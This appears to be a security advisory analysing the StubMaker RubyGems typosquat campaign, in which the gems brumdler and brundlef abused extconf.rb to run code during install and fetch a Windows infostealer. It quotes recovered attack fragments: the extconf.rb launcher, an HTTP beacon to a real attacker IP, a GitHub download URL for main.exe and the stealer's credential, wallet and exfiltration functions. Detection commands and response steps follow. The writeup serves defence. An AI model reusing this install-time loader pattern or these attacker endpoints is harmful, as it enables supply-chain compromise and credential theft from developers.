CVE
Not assigned
CWE
CWE-295, CWE-494, CWE-506
Affected Surface
- RubyGems typosquats `brumdler` (`1.0.44290`, `1.0.86147`, `1.0.0`) and `brundlef` (`1.0.37871`, `1.0.34091`, `1.0.0`), all published on 15-16 August 2026 and later yanked
- A wider August 15-16 RubyGems wave that OpenSourceMalware ties to 15 additional typosquats of high-traffic Ruby dependencies including `bundler`, `i18n`, `activesupport`, and `rake`
- Windows developer workstations that installed one of the malicious gems and allowed the downloaded `main.exe` loader to run from the user's Downloads directory
- macOS and Linux hosts that installed the same gems still exposed an install-time execution surface and sent platform beacons over plain HTTP, even though the publicly documented second-stage stealer path was Windows-specific
The most important package-registry story from the last three days is a RubyGems attack that turns a familiar Ruby packaging feature into the first-stage loader. The fresh part is not just that brumdler and brundlef were typosquats of bundler. It is that the attacker used extconf.rb, the same file Ruby gems normally use to prepare native extensions, to fake a successful build, run code during installation, and pull a Windows infostealer chain that never needed a second payload URL after the first download.
This is why the campaign deserves a separate writeup instead of a one-line note in a broader malware roundup. StubMaker is not a simple “malicious gem had a suspicious post-install script” story. It is a clean example of a package ecosystem feature doing exactly what it was designed to do while hostile code hides inside the same path. Defenders who only look for post_install_message, obvious shell one-liners, or suspicious gem names miss the more important boundary:
gem install
-> extconf.rb executes
-> build appears to succeed
-> attacker code already ran
What is confirmed right now
The public evidence is strong enough to say four things without guesswork:
brumdlerandbrundlefwere live on RubyGems on 15-16 August 2026 and are now fully yanked.- OpenSourceMalware ties those two names to a wider 17-gem cluster spread across at least three RubyGems accounts.
- The installer path abuses
extconf.rbto launch a Ruby runner and then manufactures empty build artifacts so the native-extension phase looks normal. - The publicly documented second-stage stealer path is Windows-focused, but every supported platform still crossed an install-time execution boundary and sent an HTTP beacon first.
The registry pages alone already show why this should be treated as a real incident and not as a theoretical typosquat:
| Gem | Observed version history |
|---|---|
brumdler | 1.0.44290 and 1.0.86147 published and yanked on 15 August, followed by 1.0.0 on 16 August |
brundlef | 1.0.37871 and 1.0.34091 published and yanked on 15 August, followed by 1.0.0 on 16 August |
OpenSourceMalware’s analysis goes further and places those two names inside a broader wave of 15 more typosquats that mimicked well-known Ruby dependencies in the bundler, i18n, activesupport, and rake orbit. Even if you limit scoping to the two version pages we can verify directly, the technical lesson does not change: RubyGem installation itself was the exploit path.
extconf.rb was the real execution boundary
The most important code-level detail is how little code the attacker needed to cross the trust boundary. OpenSourceMalware recovered an extconf.rb that immediately hands control to a bundled installer:
require_relative '../../lib/install_core/runner'
InstallCore::Runner.__run__
That is not a compiler or build helper. It is a launcher.
After invoking the runner, the gem still needs the extension step to look successful. That is where the campaign name comes from. The installer writes an empty Makefile plus make_stub and make_stub.bat, so the extension stage can report success even though no meaningful native build happened.
In normal Ruby packaging, dummy Makefiles are not unheard of. RubyGems maintainers have discussed that exact pattern in public because some gems use it when no real build is needed. StubMaker matters because it turns that tolerated shape into camouflage. A reviewer who only checks whether installation completed or whether a Makefile exists can miss that the real work already happened in the malicious runner.
Reduced to the security boundary that matters, the path looks like this:
extconf.rb
-> run attacker-controlled Ruby
-> drop empty Makefile and stub executables
-> RubyGems continues as if a harmless extension build completed
The stage-one Ruby code already gave the attacker what it needed
The runner has two network behaviors that are operationally important.
First, it sends a platform beacon over plain HTTP:
POST http://193.70.34.101:20099/vote
Content-Type: application/json
User-Agent: Ruby
{"platform":"Windows"}
The same code can also report MacOS or Linux. That means even non-Windows hosts crossed an attacker-controlled network boundary during install.
Second, Windows hosts reconstruct a GitHub Releases URL and pull the next-stage loader:
https://github.com/bebraz1/qPzM50V1AKG0rVlH/releases/download/null/main.exe
The Ruby code then saves main.exe into the user’s Downloads directory and tries several execution paths, including:
Process.spawn(...)
system(...)
Open3.popen2e(...)
Two smaller details are worth holding onto:
- the Ruby stage does not pin an expected hash or signature for
main.exe - if TLS validation fails, the code retries with certificate verification disabled
That combination is already enough to call the installer hostile even before the later stealer stages appear.
The downloaded loader concealed the real payload in memory
OpenSourceMalware describes the downloaded main.exe as a stripped 64-bit Rust executable. Its job was not broad collection by itself. Its job was to unpack the embedded second stage without leaving an obvious extra file on disk.
The reported loader flow is:
download Rust executable
-> decode embedded hexadecimal blob
-> verify embedded material
-> decrypt ciphertext into PE payload
-> check for MZ header
-> manually map recovered executable in memory
That matters because it breaks a common defensive shortcut. If you are waiting to see several obvious malware downloads, you may never get them. The Windows chain is largely self-contained after the initial GitHub fetch.
The recovered Go stealer went after browsers, wallets, and Telegram
The recovered embedded payload kept enough Go symbol names to make its purpose clear. The publicly documented functions include:
ExtractKeysWithABE
ExtractExtensionsToMem
ExtractTelegramToMem
ExtractWalletsToMem
ScanSeeds
ReadCookies
ReadPasswords
UploadGofileBytes
SendLogWebhook
CreateEncryptedZipFromMap
That is not generic telemetry or a weak proof of concept. It is a purpose-built collection stack.
OpenSourceMalware also reports that the payload:
- queried Chromium-family browser databases for logins, cookies, stored cards, and local CVC values
- carried an embedded DLL to recover Chromium Application-Bound Encryption material
- searched for wallet-extension directories and BIP-39 seed phrases
- collected Telegram Desktop
tdata - packaged the loot into an encrypted ZIP, uploaded it to Gofile, and sent the resulting link to the operator
The important AppSec point is that the registry package did not need to expose all of that logic directly. The RubyGem only had to get code execution once and launch the first downloader.
Why the yanked-name behavior mattered
One of the more interesting details in the public reporting is that the campaign appears to have reused names after takedown. OpenSourceMalware connects that behavior to a long-standing RubyGems namespace edge case: once all versions of a gem are yanked, the gem name can become available for a fresh publish even though already-published version numbers remain immutable.
The RubyGems issue and discussion history matters here because it shows the platform has treated this as a real security concern for years:
all versions yanked
-> gem versions stay immutable
-> namespace may still become available
-> attacker can push a new version under the same name
You should be careful not to overclaim this point. The registry behavior does not let an attacker overwrite an existing version. It can, however, let a hostile publisher reclaim the gem name with a new version number after the original line is fully yanked. That is enough to preserve the typosquat and keep the bait usable.
What defenders should scope first
Start by identifying whether a workstation or build cache resolved the directly verified gem names during the 15-16 August window:
rg -n 'brumdler|brundlef' Gemfile.lock .
gem list | rg 'brumdler|brundlef'
Then look for the installer and runtime markers rather than relying only on gem names:
rg -n \
'install_core/runner|193\.70\.34\.101:20099|qPzM50V1AKG0rVlH|make_stub|make_stub\.bat|ExtractKeysWithABE|UploadGofileBytes|Telegram' \
"$HOME" ~/.gem .
On Windows hosts, look for the documented stage-one file drop:
Get-ChildItem "$HOME\Downloads\main.exe" -ErrorAction SilentlyContinue
If you have Ruby package telemetry or an internal proxy, also review fresh 15-16 August installs of newly published low-download gems that claimed to be helpers for bundler, i18n, activesupport, or rake. The public analysis says the wider cluster leaned on exactly those familiar package families.
Response guidance
If one of the affected gems executed on a workstation:
- treat the host as compromised
- rotate browser-stored credentials, session tokens, package credentials, and any secrets reachable from that device
- invalidate Telegram sessions and treat locally stored wallet or seed material as exposed
- remove the malicious gems from local caches and verify the host from a clean recovery path, not by gem removal alone
StubMaker belongs beside SleeperGem in the growing RubyGems story. SleeperGem showed how dormant maintainer trust could be abused. StubMaker shows a second lesson: extconf.rb is a code-execution surface in its own right, and a fake native build can be a cleaner malware launcher than an obvious post-install hook.
From research to remediation
Check whether this pattern exists in your codebase
Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.
References
- OpenSourceMalware: StubMaker RubyGems campaign delivers a Windows infostealer
- RubyGems: brumdler versions page
- RubyGems: brundlef versions page
- RubyGems discussion #2787: yanking all gem versions can free the namespace
- RubyGems issue #1226: freeing a yanked namespace is a security concern
- RubyGems PR #8879: dummy Makefile handling in `extconf.rb` workflows